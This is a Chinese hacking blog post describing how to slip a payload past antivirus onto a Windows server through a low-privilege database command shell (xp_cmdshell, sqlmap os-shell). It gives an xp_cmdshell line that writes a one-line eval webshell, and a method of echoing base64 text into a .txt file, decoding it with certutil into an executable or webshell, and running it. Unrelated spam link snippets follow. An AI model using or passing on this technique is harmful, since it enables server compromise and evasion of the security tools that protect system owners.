文件上传的一个骚操作(低权限+bypassAV)

访客4年前关于黑客接单590

各位在渗透中是否遇见过这个问题:

虽然有低权限命令shell,如mssql、postgres等,执行下载总是各种无权限或者被AV杀,轻则无法继续渗透,重则弹出拦截消息,管理员上机后立马发现。

本文将介绍一种使用windows自带工具进行编码,写入编码数据到TXT文本最后再解码的骚操作。

话不多说,例如这样场景:在数据库连接后或者sqlmap注入连接os-shell后可执行命令:

其中包括杀软或某狗、某盾:

此时下载文件的各种命令均被拦截:

bitsadmin:

certutil证书:

还会被杀软报警:

powershell也会被彻底封杀:

尤其是某管家,拦截更彻底,根本没有倒计时自动消失(此时需要夸一下某大厂的报警提示倒计时功能)

而在这种环境下可在有权限写入的前提下尝试写入一句话木马:

xp_cmdshell 'echo? ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'

但也存在被某狗、WAF杀掉的可能。

此时,骚操作上场。

windows自带的证书下载,也就是上文使用但远程下载被拦截的Certutil,还可用来对文件编码解码:

本地:
Certutil -encode artifact.txt artifact.exe

或指定路径:
Certutil -encode d:\artifact.txt d:\artifact.exe

将txt文本使用echo命令:

echo sfAFASFAsfasgasdf………>>d:\1.txt

写入服务器后,进入txt所在目录执行解码(或直接指定物理目录文件):

Certutil -decode art.txt art.exe
或:
Certutil -decode d:\art.txt d:\art.exe

后续可在命令中执行exe上线:

cmd.exe /c art.exe

重点是:本地解码编码操作不会触发杀软拦截行为!

此外,Certutil支持将任意文件编码解码,除了exe还有aspx、php、jsp等(如加密免杀的webshell,此处使用哥斯拉为例):

可在web站点写入文件后访问txt查看写入有无偏差:

还有一点,本人亲测,编码后txt中的文本类似于生成的shellcode,会自动换行显示,但本地替换换行符、自行拆分换行符,不改变内容的前提下,编码、解码前后的文件不会有任何影响。

但是在navicat等数据库软件里操作的话还有一个限制,echo的长度会提示不要过长:

此时就要看各位师傅们在bypass WaF、AV时如何减小体量了,一般cs的马bypass后会在50k左右,使用sqlmap的—os-shell执行echo不会像navicat要求128字符那么短,但也有长度限制,具体各位可亲测。

相关文章

黑客网络攻略找注册id-黑客跟web前端关系大吗

黑客网络攻略找注册id-黑客跟web前端关系大吗

黑客网络攻略找注册id相关问题 黑客在线网站大全相关问题 黑客送大赛是什么意思 世界上最大的黑客网站(世界黑客排行榜)...

银行贷款50万一年利息多少

  一,几多每月还款42883.98元,总付出利钱14607.75 元 二,参考等额本息月供计较公式:〔贷款本金*月利率几多*(1+月利率)^还款月数〕÷〔(1+月利率)^还款月数-1〕 三,银行贷。...

一个真实案件的启发与云数据安全整治服务项目

一个真实案件的启发与云数据安全整治服务项目

前不久,杭州余杭区人民检察院对一起“报复”案子开展了判决:被告邱某因对计算机软件系统软件中储存、解决或是传送的数据信息和应用软件开展删掉,犯“毁坏计算机软件系统软件罪”罪行创立,被被判刑期二年六个月,...

格桑花是什么花(究竟什么是格桑花?)

格桑花是什么花(究竟什么是格桑花?)格桑花也被称为格桑梅朵。很多人认为,在藏区和藏区之外的很多地方常见的波斯菊就是格桑花,其实不然。 格...

2001年黑客大战白宫新闻(2001年中国红客大战)

2001年黑客大战白宫新闻(2001年中国红客大战)

本文目录一览: 1、红客(RedHarker)到底是什么?? 2、中国黑客之父是谁 3、第一次"网络大战"发生在什么时间 红客(RedHarker)到底是什么?? 红客(redhacker)...

夏天吃西瓜会不会发胖 吃西瓜发胖了怎么办

夏天吃西瓜会不会发胖 吃西瓜发胖了怎么办

夏季吃西瓜在三十多度的气温里是一件很享有的事儿。甜瓜咬上一口又甜又有很多的水份。是夏天必吃的新鲜水果。吃起來自然也是十分爽的。许多人担忧吃苹果会生长胖。夏季吃西瓜是否会长胖 吃西瓜发胖了怎么办,产生...